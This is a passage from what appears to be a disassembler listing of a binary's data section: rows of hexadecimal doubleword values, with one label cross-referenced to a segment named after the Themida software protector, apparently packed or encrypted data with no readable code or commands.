8F1A0943h, 0B18D0455h, 0C0FEAF48h dd 0E7A6CFB8h, 0EB730627h, 0FAEE488h, 0E22FD38h, 0C08026F7h dd 0F15DFCC9h, 0A019B722h, 0BDBF95Dh, 4869EC35h, 9217C801h dd 0B4243F23h, 6265B481h, 92557402h, 18B757D4h, 1051B100h dd 30968E5Eh, 74891AB7h, 47B87A58h, 0E900A4B1h, 0CDC31569h dd 89EB0D03h, 2A510687h, 1CC0C0C8h, 40A8BC79h, 0E407052Fh dd 0DF0339CCh, 273F5028h, 297F1Ah, 68A1BAE5h, 9E5563F4h dd 5178DE8h, 0C0C80C7Ch, 71100015h, 0D53DB52Ah, 6203F3DEh dd 0FECE4927h, 0EAC0CF93h, 2B69497h, 657A844h, 5048A5C6h dd 720B5CB8h, 5E8F03A2h, 0EE00DCB8h, 324695DCh, 54D9E9Fh dd 0FBBC0818h, 0F4C9C4B6h, 0F40016B4h, 9E073346h, 4C369C1h dd 0A23EA094h, 0FC3FFBDAh, 98007123h, 0D2A77A63h, 0A4114A78h dd 4B40ADB0h, 9F8B01CFh, 47E16694h, 3C952B3Fh, 0D23E03Ah dd 0C5584001h, 5EEE708Ah, 0C8B76408h, 400D828h, 1A7B863Fh dd 0E06DD426h, 0BDD50036h, 0EF9B90C6h, 970110D8h, 0CBF5F3FCh dd 9B7BB5D3h, 0ED5F80D8h, 0B39A9BDh, 3EA66569h, 0C88AF010h dd 72F40900h, 0EC4C609Fh, 0A96B395Dh, 0DA5B8889h, 314DB856h dd 810C9B3Bh, 42B778CCh, 127A80D8h, 0F2A06532h, 8B278834h dd 14717686h, 16106A08h, 0EB7CBC4Fh, 23582ED3h, 0B61C73h dd 0CFC51BB5h, 0F24FA64Ch, 9A50A4D0h, 0AB04F505h, 83ED8029h dd 0F30C7107h, 0AC2C0447h, 205B413Ch, 47F4A94h, 46D67CBEh dd 3A1E0007h, 973C69FEh, 800E27A9h, 3C3664C9h, 10DB5F94h dd 0BAE63780h, 955A146Ah, 50A218F6h, 16B6E230h, 14F9154h dd 0D2A85671h, 2607C48h, 571E2242h, 5B5C5080h, 8028C5E8h dd 0FD63CED8h, 4887C89Eh, 41C486D4h, 568080C2h, 1895EB2Ch dd 168B4D91h, 0F056928Bh, 0C3B0026Bh, 94B8D70Dh, 0D01254F0h dd 4CE361E1h, 80D6240Ch, 970B14A1h, 517F1B9Ch, 184FD9E4h dd 5A6A0977h, 645C09E6h, 465C0CEAh, 0D28E0006h, 0A91A9AB9h dd 18CB985h, 0BD408B64h, 0FADA61CCh, 50791C51h, 91003718h dd 470828E7h, 79D8A7Ch, 0FCF20420h, 870BAB93h, 0A1122C76h dd 2F7B54E2h, 1042516Ah, 1FA489D5h, 80759164h, 0AC5A3489h dd 5F907121h, 0A2A84085h, 0A8D719B4h, 61F0F900h, 0F3A33D05h dd 0ED5E2C4h, 0BB649AFBh, 15288D02h, 84B57F00h, 7782006Fh dd 0DCEF9FA0h, 0BA277A9Dh, 0D108D935h, 569184Eh, 8B54CAC2h dd 640FEBF5h, 589444E0h, 0AAC9CE9h, 0E4FC008Ch, 0B5BE3966h dd 6A24EC95h, 94089C1Eh, 985925EFh, 3ADFFD80h, 0E43FAF92h dd 0D0209FB7h, 8706111Ch, 0D2AB2C00h, 0BE3AE3FFh, 0F06E0463h dd 0DB8D447Ch, 0C005884Ch, 0A2C154DCh, 0DE0550Fh, 0A94A0960h dd 40F8FC8Ch, 6A957904h, 0C2B9210Bh, 67BC5C44h, 845C6B05h dd 0B4548A51h, 0EEB8E8A9h, 48B62405h, 0E0FC6530h, 27C57E7Fh dd 0DC6D7B2Ah, 0E09380C2h dd 0BCD8F206h, 0F6AE01C4h, 6B640289h, 1CB75C12h, 851C9A4Bh dd 0F0ABF0h, 0F1E89919h, 1B180Ah, 0E881ADFCh, 0F894CA4Ah dd 0D5059C79h, 33D1E41Eh, 98E2F874h, 6E3012B2h, 0E1242529h dd 0FC643429h, 9C8B2D00h, 99DE562Ch, 849F3D6Eh, 0E0DC3800h dd 0A1ADF7D1h, 888C794Bh, 12DF05FFh, 0C40CAC19h, 0C88CAD50h dd 5F878AD0h, 3E00BEF0h, 51728B65h, 9316F26Fh, 0A0E2948Ah dd 3704DD04h, 0A8971C0Bh, 0F0B1A817h, 9D5420h, 15194538h dd 1F2041A0h, 0C0006D9Fh, 14440CFBh, 0B1CAD58h, 5CE253A0h dd 1346F684h, 0C48E5100h, 35595FEFh, 0A844CD01h, 706B282Fh dd 0BA04C42Bh, 9D01A06Bh, 6655B9Fh, 64CB2ADFh, 6CC013C8h dd 4258E94h, 74E85C71h, 5BFCC7F4h, 9E8A7CE0h, 0A69F88BEh dd 120F9408h, 70C000EFh, 3ECC5032h, 80AC6D48h, 0A45DAB75h dd 0E5FB0038h, 30696A8Dh, 39E60C99h, 0A8378B09h, 56E40B14h dd 1512DEA4h, 7413B2F6h, 140038E2h, 4A95EAE8h, 5E1676FBh dd 0D03E23Ch, 1F54946Eh, 0ED99F668h, 0ED6F800h, 0D87C6091h dd 0DD709A7Ch, 0DCF3115Bh, 7A304EA2h, 431C0068h, 72504D0Bh dd 34945FE9h, 0C5841709h, 6013E4E0h, 30B214C9h, 0C7B05086h dd 2C99B6AFh, 5B8D6201h, 0DECC2D36h, 4EA600D6h, 0AEF3E946h dd 0B8040478h, 8F52A9E4h, 0C5070F8h, 1D97228Ah, 9EE87760h dd 258E896Fh, 1C5C4699h, 0E4A71862h, 414CBE6Ch, 0F0FEAE1Ch dd 0B60033AFh, 6F7EBCD2h, 30F450Ch, 0EF636B9h, 65CFE276h dd 0A87ABFC0h, 4CA20700h, 8CA9210Dh, 4DE83A7Eh, 4CD11491h dd 90F2DC19h, 7A43F58h, 72B19D38h, 0A264C81Bh, 2C69E9DBh dd 60097E8h, 73751442h, 2FDDCE1Ah, 60D98096h, 8D213503h dd 682DFA08h, 1C6D88Ch, 0CAA58FAFh, 67101A60h, 409F01F8h dd 627BB6D4h, 8E202C2Fh, 0C16BD641h, 0DACBE120h, 86F098D5h dd 31DD64h, 9C3CB2F1h, 0F80C4B3Ah, 0C2908C46h, 8EC9005Bh dd 0A95019E0h, 80B4EF33h, 105465Eh, 0ED2867C8h, 0E0D0D5D1h dd 6200B839h, 9F57816Ah, 98F498E0h, 8D6E1609h, 283257A0h dd 512D5476h, 50080008h, 26455CF1h, 71F28A25h, 0E2248BC8h dd 73123044h, 0DCE364D1h, 0A88CE94Ah, 13BB7F8Ch, 0C81AA1F6h dd 0DA00D324h, 63AC0EEh, 13BF702h, 0FB11D5CBh, 41F66D44h dd 6BDCC6D6h, 0F4FAA009h, 0A8789440h, 0C071A925h, 26202188h dd 2AE1D50h, 46658A7Eh, 9BC2E57h, 89A000D5h, 17A67B4Fh dd 858D6A80h, 0CC48AAF4h, 0EA46845Ah, 0F0B4F1A0h, 895F6671h dd 5D94ECC2h, 640EE464h, 0E5EBC6B3h, 58FC16A8h, 0EBCF4D12h dd 9B08A001h, 0A8004BE9h, 0F85AE4F2h, 80B0FC80h, 40D61DBDh dd 95474198h, 10843E4Dh, 3D333137h, 9E80346Fh, 0EEB4B344h dd 91BFBA51h, 0E02A76ECh, 94800F28h, 0BFF27C99h, 3FAA3068h dd 4635582h, 83718813h, 9F7F9020h, 92554B5Fh, 681185CCh dd 8ABD1020h, 5888BCFEh, 92DA0021h, 9CB84073h, 426CC995h dd 20CA215h, 0DF4A5D6Fh, 110DE035h, 0E6E42FD8h, 0A5A9BCC0h dd 687CEA2Dh, 45B6480h, 0B19308D6h, 0CC89157h, 0F0B62A54h dd 16157910h, 0A0D06B06h, 13BAA6B4h, 0E0C0DAB2h, 4F902A8h dd 2176AC81h, 0A240C304h, 8B54E4BCh, 0E9661140h, 3CDBB1AFh dd 1F2E3F70h, 53833BCBh, 2750A4E4h, 4F491760h, 7C0AF8Ch dd 0A4796EB4h, 89D2E7DCh, 0BA09CCF0h, 7090774Fh, 10ED9FCCh dd 4680E8C5h, 5C4EB9CFh, 2E0DFC09h, 0FC811828h, 0F307E0BBh dd 3F7E6D29h, 0FCF2A5F0h, 22288109h, 89760060h, 0BC9FF641h dd 0DF6607C1h, 99E0DA1Dh, 0C5241A57h, 620BC4BCh, 4504043h dd 383A416Fh, 71C42540h, 9E40E044h, 9A128045h, 440FB3D6h dd 10F8D45Bh, 221666B9h, 0F8A8A8DFh, 104A8C4Bh, 8B0054A2h dd 0A8DF3607h, 1C9E1E75h, 53B873E9h, 27423090h, 35AF302h dd 0E6948A2Fh, 0DCEA14E0h, 0CC4AA8F9h, 2C3B9FACh, 19A81FE3h dd 16200806h, 0ACD2F108h, 0D71990h, 0AB3DD6BCh, 0ED30C5Eh dd 528F94B4h, 0FB84307Ch, 79B70D56h, 590466D4h, 9A258C2Bh dd 0D6251C71h, 0A407DC1Ch, 56A04C1Eh, 0CDA7A03Eh, 9A46F4DDh dd 4F449840h, 0E7A4B636h, 79D83DBh, 2E85BFF6h, 416D482h dd 0C4CAAABAh, 45B3810h, 0F6A4D2A8h, 5ED838ABh, 354E949Ah dd 3AB0F4A6h, 130FD2C8h, 0C0908D77h, 56A996F9h, 10249A75h dd 16285EF4h, 60AC5895h, 71294CA2h, 30BB0070h, 347B6DD8h dd 1323D12h, 1704B703h, 7B387224h, 0C90602FFh, 3638E2FCh dd 75840DBh, 68C94C37h, 0C2CCB84Bh, 0C044A0B7h, 82ED7040h dd 4580AD5h, 314EEDEh, 9FCD9D6Eh, 58274D61h, 0B60C074Ch dd 4EAB444h, 0AB79E5B8h, 9C093C8Ch, 5E9140h, 40A2C273h dd 98AC72FFh, 0E774A149h, 9548B7D8h, 86854471h, 0F04BA18Ah dd 4B345630h, 5900AC59h, 69B0344Ch, 9E871F1Eh, 2C71E8Bh dd 663CF44h, 8F89007Ch, 0D630DE08h, 9BBBDA2Eh, 0D5CE4800h dd 16079836h, 12448F9Ch, 0B8E0F920h, 0ACE2026Ch, 0B0AAA511h dd 0E044157h, 50386107h, 8055F25Eh, 0CCFEFD8h, 984DBDC4h dd 0A29B76C0h, 902D00E5h, 6893A043h, 7E405D92h, 1720049Eh dd 0FFC1B60Eh, 6CB24C74h, 613012B2h, 0EA1900C7h, 0E428FE8Ch dd 0E016AD6Bh, 70E026FCh, 0EB21216h, 0C110B96Eh, 243E336Ch dd 0F0584473h, 215C0418h, 0DA3089F6h, 7F1C3863h, 0F01F4807h dd 0E8C12F8h, 0EC23D216h, 0B8037184h, 30DE5B4Ch, 1CF991C1h dd 0EC862AB5h, 0F1534AB8h, 0F4B62F3Ch, 0D66639E0h, 0F92DB400h dd 422EAB30h, 81401A8h, 88F22022h, 54713A03h, 0C52A8AB0h dd 0E0C0A6ECh, 1602D033h, 88503F1Dh, 0D2FEC744h, 3100A7F2h dd 877925B6h, 2FE16Dh, 5DB47DFAh, 64AFD1A3h, 0CF1A9312h dd 636BA404h, 4F244E2h, 3920FB30h, 639C32D3h, 0D5057870h dd 0FAF0BF60h, 6CB59C12h, 0FB8547Dh, 0E5930813h, 5E070C80h dd 0A5F62D72h, 5B9D1CE0h, 82B16303h, 0AA94912Ah, 48D8BAh dd 0BC0A26D6h, 999AC14Dh, 732DA0BEh, 3B517898h, 0FCF87800h dd 0D7380ED5h, 0E00B9D86h, 0EDC205Eh, 0FE42DA98h, 6D050D00h dd 282AB795h, 0DB60AC0Fh, 0F375F93Ch, 27380031h, 145A6C2Fh dd 0F000F434h, 0E2D9DA0h, 0EF82E5B3h, 8B90753Ah, 0C04E88B4h dd 0FC37A3FAh, 3FFC0173h, 3B189F09h, 51DC56E1h, 30B22A33h dd 571EF082h, 800837D5h, 556C4CB6h, 0B5167B2Bh, 38B2633Eh dd 0DCE05602h, 0C8562472h, 9B8A4377h, 60B0E14Ah, 0F9364B18h dd 2EE9ADC8h, 163EBC63h, 0A53E3F80h, 0D8BD9B06h, 0C801891h dd 0DEEF8D26h, 80650012h, 9C581067h, 0A00145BCh, 7DD86339h dd 5DF28EFCh, 86EAA4A2h, 39E496DDh, 28C020DAh, 0E1FCA09Dh dd 2DE89DC9h, 4071EAADh, 3EAE4844h, 722308h, 9C2BB62Ah dd 0D688893Eh, 0DC51FB2h, 22140042h, 69109F01h, 595D582Dh dd 8B068280h, 0A07482CDh, 2660512Dh, 0E43F9644h, 271FDBE4h dd 12C06243h, 33C02038h, 0F4DE0D37h, 61F809D2h, 8C9A2AB4h dd 3CC07C88h, 3ADB2D29h, 210273F5h, 1CE122C3h, 0DB1F1E02h dd 0FFCE70E0h, 48B80725h, 91BF68h, 0D1E544EAh, 0DC79490Bh dd 0CA1A4702h, 0FAB83995h, 53BB0004h, 4E94ABBEh, 0D70086F0h dd 0E768F18Fh, 9FA0AA7h, 4DAFB6CEh, 0DE6B7CFEh, 12319038h dd 0ACCBF1B5h, 22C00BC8h, 1EB29D75h, 923532A8h, 4B60E7A4h dd 4BA830E9h, 249A4D26h, 9492F100h, 4B9F2DDAh, 7DE0D0B6h dd 731DC184h, 3D40C533h dword_542764 dd 41CC9B64h, 53140F9Eh, 0F4A2FDDBh, 145E30F6h, 0D8A901F4h ; DATA XREF: Themida_:005957BCo dd 73080AEEh, 5208386Dh, 6ABF921Ch, 83020068h, 2259638Fh dd 78964C6Bh, 2D15C210h, 131C20B7h, 0FEEFD956h, 653A00CDh dd 41716275h, 0C4B5DFD4h, 0F0719538h, 0F7908E03h, 1631D84Fh dd 0E04A0093h, 196B4E3Eh, 0A509FA7Eh, 712043DDh, 1878D94Ch dd 0B4A7029Ch, 0F734F3C5h, 5014C1h, 92E6FC80h, 206695ACh dd 0E3444B5h, 0A5B13C99h, 23662840h, 6D3BF0ADh, 7709097Bh dd 0BFD87037h, 6BC080EDh, 1650CD79h, 0E65F87A6h, 9B25E040h dd 37382499h, 0FCDB2F58h, 63AFF873h, 0D58A0B42h, 0D004970Fh dd 44AC125Fh, 8E9194C2h, 6BC1B0C9h, 0D6C90CDBh, 7035B00Bh dd 28805111h, 0FFCAF397h, 1C38CF79h, 0F670A5B2h, 0A850E0F0h dd 225A54F2h, 0D3B08844h, 0AD1016BFh, 45B8B4h, 34B53251h dd 4119D6BDh, 0F6C81A97h, 8802DC9Ch, 4004E867h, 6042750Eh dd 592508F6h, 0FBC8B410h, 5CCB5387h, 4FE55338h, 0CCC270D0h dd 7CF2958Ah, 483DCE25h, 8797A4h, 0CD23D45Bh, 5082B273h dd 1D599F09h, 18805749h, 6CCF1EEh, 534BBB90h, 0A93854D1h dd 9A2ED85Dh, 0CA3B806Ch, 9D8BCB7h, 926FF116h, 5599C73h dd 0F1024218h, 0C7D4B762h, 166C7430h, 9338ED73h, 34A8BCFDh dd 0ABE61B12h, 0A69604B9h, 0C5D6E084h, 1C063164h, 7EA71839h dd 4116A48Ch, 0A4282B14h, 8C9FB508h, 77850A11h, 7435AE36h dd 0B86EAFh, 4CB93071h, 0D35D2F34h, 0D46EAE18h, 45B40272h dd 1019F0EAh, 2540C755h, 1EB788E0h, 0A91A2813h, 0CCB8D0FDh dd 77E48902h, 5C9571FDh, 1646769Ch, 2A38B500h, 789E096Dh dd 206DC25h, 90A21844h, 20FC7EE0h, 6695117Ah, 4000B694h dd 0DC5D6AA1h, 0C82D3873h, 569C42C7h, 100C406Ch, 0F400CD84h dd 0D14043DEh, 988DCB2h, 0C6CF3E78h, 74E45045h, 7A91D461h dd 6C781482h, 98EEB0D4h, 0F0631314h, 0A2CCE310h, 33A7304Bh dd 0DCA8C295h, 3C3EDC6Ch, 474584FFh, 24880164h, 0B15FC18h dd 675D8A4Eh, 0B60B3458h, 58FDA706h, 0DA460B30h, 0B054FA6Ch dd 81E22484h, 64926847h, 80D48877h, 51559A18h, 5EE2A610h dd 0ABB884A4h, 149FAC30h, 0A19B050Fh, 0A011DEC1h, 609DEB14h dd 0BF4DA850h, 0AA03B4B7h, 0B8D0EC01h, 25F0FE20h, 0C87198F6h dd 7D1F2A42h, 0D80FF43Dh, 92A8C0ACh, 4EC0FAAEh, 0B82CB97Dh dd 0C5B600C2h, 7868A1C7h, 61BFAFA9h, 9B2EEF70h, 5A8880F4h dd 0F43FC824h, 0D9842505h, 0A16ECC56h, 7DF98B08h, 3D88027Fh dd 16D70FC7h, 8E71007Ch, 11D25D0Bh, 0F212A2B8h, 0A8B80F15h dd 0C8DCCBD2h, 10D5C907h, 13D851C8h, 971EDCDFh, 5EE342D4h dd 2191B054h, 76AA700h, 15ECB361h, 0B029F9h, 4EF6119Bh dd 0ACD477h, 0AF30B456h, 1BE3872Dh, 0FC48EB2Eh, 48F88312h dd 4E8C0BE8h, 1238B3EDh, 54B5A28Ah, 1B80D96Ah, 0B402DF84h dd 58728E69h, 53A91238h, 4F00BDFBh, 0A4E860ADh, 2706F100h dd 84CCAF8h, 0FEEC26F0h, 0E94F3C81h, 5A9108B8h, 0AEB6138Ch dd 6AEF3074h, 9DD305B8h, 64E8CF9Ch, 2172DA80h, 0B0B03A33h dd 132A6A20h, 9B340944h, 7B5F80F8h, 0F0A8A0h, 0B5ADC7EDh dd 6681731Ah, 91DC1DBFh, 17C08012h, 0E2DE207h, 19D09A0h dd 8424BDB2h, 0E8175630h, 1E700050h, 18CC22D6h, 0C1631F6Dh dd 1AFC06EEh, 0C3003029h, 0E2AD5EDh, 45E1215h, 0FE63FDEBh dd 4E1C9018h, 0A82FEAA6h, 0ADA0A219h, 9D3C781Fh, 6B972859h dd 0AC165CBDh, 23A007EDh, 31218DDAh, 0CEE980CDh, 0BB07D1F0h dd 25A0709h, 4FE5D04Bh, 1C5E88C9h, 0EA0CF18h, 0AF948318h dd 30C42416h, 848060ACh, 4A7583E8h, 4682A700h, 0A8D2481Dh dd 0F40F40EEh, 0D41F6671h, 64040DAh, 0DF80D18Bh, 671BD24h dd 4526562Dh, 17940039h, 0F9858919h, 0ED197AB7h, 0B50C86E7h dd 7704A979h, 8FC3C96Dh, 2BAED07Dh, 15B0088h, 0DE2CD343h dd 0E37A66E0h, 7C08305h, 3300E856h, 106CA522h, 0A5F9B5D4h dd 34C62E00h, 36483ECh, 3D22D845h, 408E5F13h, 3B1DF9E0h dd 17D90FD0h, 9C46033h, 1AE13085h, 0EAB9619Ah, 159F3F1Dh dd 2932E98Dh, 16B9B82Eh, 61BBD58Dh, 15208483h, 0AAAC4BEh dd 15A50Fh, 80FC60FEh, 6114F6D4h, 94849589h, 3FE93798h dd 0F4B58D01h, 0B66F17F1h, 94C0F4FFh, 0A2E70A9h, 8F0FC5D8h dd 5DBB4097h, 440BD2CBh, 0D5F5D780h, 0F075C032h, 0C0EC7F36h dd 0AE518F5Ah, 6C79C51Eh, 75A5E325h, 4E21C3B5h, 56219881h dd 0BAF5DF38h, 1145B66Eh, 19500681h, 0DB14418Dh, 54DA9h dd 8007CCB9h, 5124BD31h, 0A912428h, 98E6A900h, 17C968F5h dd 0F2501A75h, 8B1BFCD1h, 0BD53A1BDh, 3CA988AFh, 0DD966700h dd 62AE2D7Dh, 0C02B132Ah, 0F3DEAEBAh, 8E77A7CBh, 6A826A88h dd 0C9953107h, 33AD0378h, 5801D1C2h, 4E983D0h, 0F66BF475h dd 0B472E019h, 5FE3008Bh, 0C1BC55CBh, 22880DE9h, 9CEB00CDh dd 3735834Bh, 0A0AFF2Ah, 4DE81243h, 74D17305h, 81F708C0h dd 34DE38CBh, 0D5B3D05h, 3C9EEA88h, 0CFC3FAD2h, 42B7E137h dd 3FC0B26Fh, 2F86819Fh, 0EFEB36E6h, 0C170ED2Eh, 1BBD958Bh dd 0BCC6A92Eh, 0F44F79E8h, 9925005Bh, 816655F8h, 44898EFh dd 18DD09E2h, 49ED5F13h, 8B5008C0h, 3718E4C2h, 8E08C103h dd 1965EB95h, 0B8DBEF58h, 91CDAA93h, 0E06CB67Ah, 983DD62Fh dd 1DB92034h, 0F79D2924h, 0BD9E4D24h, 0BE0419F5h, 72CC3484h dd 9DB870F9h, 0DF524A7Eh, 39C089EDh, 20B589EDh, 0FF3109BDh dd 305582E1h, 5403F0Ch, 0BA9D4E31h, 88137F10h, 5B471101h dd 0BB90EEF8h, 5F45C502h, 1990F9FDh, 86120F03h, 0DBAB04F8h dd 82F9C094h, 9F0E22Fh, 0A7BCD393h, 0A1B52686h, 659D890Eh dd 6092DD1Fh, 0C7AB9AAEh, 81DF60D8h, 22B2AFFBh, 1261E07Ah dd 0F8C6FBBDh, 11F0D82h, 0B472F03Dh, 80FEA3CDh, 9D1218E1h dd 0C90A6785h, 2BF0AEA1h, 0A1E8D6FDh, 0AE922h, 9F02D71Bh dd 45FD5349h, 0FE62C72Ch, 17FBB917h, 0AF6EAF42h, 837D6309h dd 9B40E55h, 732898FAh, 6BEB0392h, 28C0AC3Ch, 0A2FDDEC0h dd 0A7A57F03h, 2133E231h, 16F1057Eh, 0F9034C18h, 22BF669Eh dd 32B3C918h, 1A95B17Ah, 0A0D2C067h, 16D03522h, 0EF4F06B1h dd 8A0FF621h, 0DD438663h, 1704E818h, 1F6603FFh, 0BD395276h dd 0BB109ED0h, 0EE4BD115h, 0C9AB221h, 7D21FB40h, 40D23CC9h dd 4DB4600h, 0C648F8B6h, 0F5D83E06h, 5AAB8B5Fh, 0C0FEF850h dd 664CEABBh, 8B5B315Eh, 0FDC99310h, 0FE71454Fh, 0BB3BBCCh dd 0D88B5806h, 0AE3D1885h, 9BBA60C5h, 0CC8B80C3h, 0E0510994h dd 646C486Dh, 5824DD10h, 0C4540B13h, 47BD16h, 644A4E7Eh dd 0A04A87E2h, 9DA26320h, 0C14C3838h, 0BE527D00h, 115F4903h dd 36F6750Ah, 960215E8h, 60BFCB99h, 39E391h, 27665C31h dd 6F2A470Bh, 0C0C66058h, 6333227Eh, 0FEF10011h, 7A9D441Fh dd 4CB0E58Eh, 0A0A7E700h, 6E95F61h, 0D8BBB302h, 0CE0BAA37h dd 0A4CD73ADh, 23816044h, 49071061h, 524CC505h, 0FC9AAA9Dh dd 0F6717BC0h, 60164ACAh, 30EB8D0Fh, 0B58BC0A6h, 6F353D33h dd 1F1885C7h, 0CD7BD1EBh, 7B855024h, 0AEE0B3A6h, 0CD0047B4h dd 0B0C0E4BEh, 38334E86h, 8941D9BDh, 772A55E6h, 7EE0A66Dh dd 62F336h, 6FC7813Dh, 894918E9h, 0CF040678h, 4707906Ch dd 0E09D6CD9h, 891E82CBh, 0BAC30446h, 96051D92h, 0FA66C3BFh dd 0F81508AEh, 5BC4B5FFh dd 1BC6EADh, 0A34FB500h, 50342A6Ah, 20AC4BB7h, 0CE1965C2h dd 0F0A6200h, 0A068F9BFh, 90722448h, 36046076h, 2BFA51A9h dd 83826A38h, 0E0DD6BAAh, 81A8E16Fh, 3C5F7130h, 7DC8ACBBh dd 0F06028CFh, 5B5C7405h, 97A26501h, 0E62CBBDAh, 0E26F0FDDh dd 1A080028h, 0F564F360h, 772D099Ch, 8D0070FBh, 104A72CCh dd 8D5B6212h, 9BBAE752h, 0BDA1C19Ch, 3D50A6E2h, 1C7C4D7h dd 0E107A70Bh, 0C01E83DEh, 0DF261F0h, 4063D414h, 50FE16C5h dd 0F4DD66FBh, 7BDEB3h, 918F84ACh, 0BD0BE637h, 490EC149h dd 20BE9787h, 0EBD390C6h, 63032A72h, 0D9E148C9h, 2B3AA815h dd 1252BD9Dh, 0DC615F2Fh, 0A700DC2Ch, 0D04EE4ECh, 5F3BF6B0h dd 0C2FAEC6Bh, 0E685C7F5h, 1302B998h, 0E9B605DFh, 9C4C92Fh dd 4DD764CFh, 0F458F697h, 0A51CFA73h, 0CE2E45E9h, 0A62A00F6h dd 546308BCh, 843D5A1Fh, 1128081h, 30502E6Bh, 7311B80Ch dd 90C1F444h, 0EA4F55Fh, 894C1FB0h, 0C0685803h, 366EEBE7h dd 6421F036h, 1BB170CFh, 28299A50h, 58180621h, 57016813h dd 0BD54B1Bh, 6537F74Fh, 0A8B22D00h, 26F4D807h, 13BCB5F0h dd 8B6C88F8h, 7ADC931Eh, 0D60656C7h, 12B7773Bh, 0B52FAB00h dd 259D8B0Dh, 0CA392879h, 0F7147003h, 0DD56045Ch, 0E47919A4h dd 0EACFDDF6h, 0FA0BBC40h, 0D09800DBh, 1FC7181Ah, 661342BBh dd 0A5082145h, 0B5756B54h, 6FDF0995h, 969D102h, 40CC4FFDh dd 10DA6AB3h, 0FE6B1226h, 261F3508h, 0D7481077h, 1C9D6AEFh dd 0B101E5F6h, 0DAE44856h, 9DDFBD61h, 6CAE88FBh, 0CA6F6B00h dd 0B479E519h, 0E01A1688h, 0BEC11759h, 6004E218h, 0F8E63881h dd 0B4C3581h, 6515598Dh, 838320D5h, 24342686h, 0A3B0A190h dd 6894D08Dh, 140C4E00h, 0B6BF66FFh, 29B8A010h, 37418232h dd 682D245h, 9D940BA5h, 120543A0h, 318519C5h, 20511844h dd 0C4868902h, 616EEFFDh, 0D4E10FEBh, 54FE8F8h, 7AFA4456h dd 0CBF30FE3h, 3FCCE119h, 1BE88236h, 0DC28FB60h, 890F5B09h dd 4B4E7Fh, 0F20BD415h, 61C44A2Eh, 0CF392DB8h, 0C283899Fh dd 0CA4D5704h, 522B0860h, 1C781B0Ch, 0CF9854D7h, 8D2E01C8h dd 89849629h, 19E12050h, 8CEF9A6h, 8A3FD8E3h, 0B60F499Dh dd 0D709B847h, 90E1CA6Dh, 1EC42082h, 0F873847h, 3B908CA5h dd 6578C51Dh, 2E045CD2h, 47142255h, 0CFED9AA5h, 0AC25A2E0h dd 0D0517Bh, 0EF84C81h, 2A01C205h, 0C689315Ch, 5421BBADh dd 1EC2F7C6h, 5833D375h, 0C2C4F6F1h, 65140579h, 9423A512h dd 0CA3830Ch, 52693377h, 98625F04h, 0B6960404h, 82E8E0A2h dd 0E2F90508h, 8CD2E04Ah, 0AA1EEF13h, 7CC25416h, 0C247F2DAh dd 11AF37FCh, 9123801Ch, 575DE3h, 58B09276h, 12C99501h dd 0DA2484B9h, 9BBF0C35h, 0EE308054h, 0B09E1166h, 14951033h dd 77718913h, 0CE40C5EFh, 2BDB643h, 60767591h, 0C68F50BFh dd 0F7E5BBC0h, 5F5041F4h, 0B351B7C9h, 769325CBh, 925E0DFh dd 11C80060h, 0DF8A2A28h, 822F0F26h, 614C910Ah, 9D2DEC2Eh dd 0C56DBFC1h, 7A664F18h, 8D3018E2h, 0B75A12D8h, 0D90EFB6h dd 0E92A71h, 54BC72F6h, 0E14682C6h, 0DC5BEF28h, 7405AD2Fh dd 0C00F4F2h, 0B5BF8375h, 2B94E19Dh, 2F638EB7h, 0DD4C2FCh dd 94F20907h, 112D5A0h, 0E20B4B7h, 2B1C911h, 0A77D0E04h dd 8F9EB037h, 4C3C028Bh, 1A456A5h, 1AD59260h, 3838F881h dd 77BD0F27h, 86DD4900h, 25C0BE11h, 0C406AE0Ah, 3C93B4C6h dd 37E24278h, 115800Fh, 355185C7h, 5710A565h, 15813B37h dd 0FFF118E9h, 26DFDC6h, 702715C0h, 8A3516FCh, 5F874E57h dd 3741C169h, 16A82B1Eh, 66DAEAA5h, 0C60AD80h, 0F1001766h dd 5DE78150h, 3C2F0A63h, 0AF2905Bh, 1D3D8529h, 94402C32h dd 0BB030830h, 628F2E46h, 0A3118E12h, 61A9C1EAh, 0FFF50205h dd 5B50DBC0h, 8F22E798h, 0D98A2702h, 0B3F92801h, 0F8509CEBh dd 38D0E9EBh, 840F118Ch, 95090406h, 8100284Dh, 91B443CBh dd 65EF5B4Bh, 54DAFA52h, 2D09A883h, 10A56010h, 0F9DF8D38h dd 0E1F8B7h, 0BB66DC85h, 0D1FFEAF6h, 73F97BBDh, 200913B9h dd 0C4BC06B8h, 0E80FDD8Bh, 84173D1Ah, 0FD928525h, 620F00BDh dd 392C80D0h, 547DB509h, 3802AA1Fh, 4ADD9D31h, 5ABEBF03h dd 8B923050h, 7357FA92h, 1A1F58D8h, 0A2AE6D12h, 34A98504h dd 0D9B70F02h, 16C446EDh, 82B89160h, 41BD2B09h, 2DA0490Fh dd 3D88D9ACh, 0B2F4F8DFh, 107C441Bh, 423C1BDh, 5B58B60h dd 9D331090h, 48C7B201h, 5E0F9661h, 0DBB6168Fh, 60F78265h dd 4BE36036h, 61DEED50h, 0D63CC113h, 859009D3h, 0D84B5DE6h dd 6FD213AFh, 0F53B138Bh, 64540901h, 882C35FFh, 820C690h dd 4025DDFBh, 0F781660Dh, 5F878D27h, 1C11AE35h, 33736B80h dd 1E02CA42h, 6A746C49h, 70F753FFh, 0B900F048h, 56E72521h dd 4A71B589h, 5DA14B13h, 0D7819620h, 962CE160h, 3190F279h dd 147E90Ch, 75208DFBh, 48B0700Bh, 1A201833h, 9870E626h dd 0C4372B9Ah, 0ED250025h, 3E769B30h, 0A002F488h, 0E40DE1B4h dd 653F4071h, 55F69D25h, 0A06F1046h, 8221197Ah, 4A006F59h dd 5A856F6Ch, 0A8C51E52h, 89764FD0h, 8287A43Eh, 0C8B60F5Bh dd 9D98C6F7h, 7400EB56h, 0BAF2E84Fh, 248C8A06h, 770F6AFAh dd 0C1606DC8h, 43D5A92Dh, 17B2F83Bh, 1FAD88Ah, 2BFE8B16h dd 0B99C88C8h, 89600210h, 1CCBE195h, 0DC0BF6D8h, 8B614000h dd 3CD6BFD1h, 77444C79h, 0E9C37509h, 3606F10h, 0C699515h dd 17B0C099h, 164A48Bh, 0C06F4194h, 9C0BCB95h, 0B9EA8552h dd 0E3251EB6h, 0AD065186h, 5218401h, 70745F02h, 3BBC4BCh dd 1F6C1B8Fh, 15065DE9h, 153D9D09h, 0C0DC97CBh, 592D06Eh dd 0EE61F63Ah, 8201858Dh, 623A1959h, 79293180h, 3BDE0028h dd 0F65FF8B3h, 813DD804h, 3E87E11Fh, 80A58382h, 0BD01FE28h dd 0AADFD089h, 4C55EA69h, 91B397F5h, 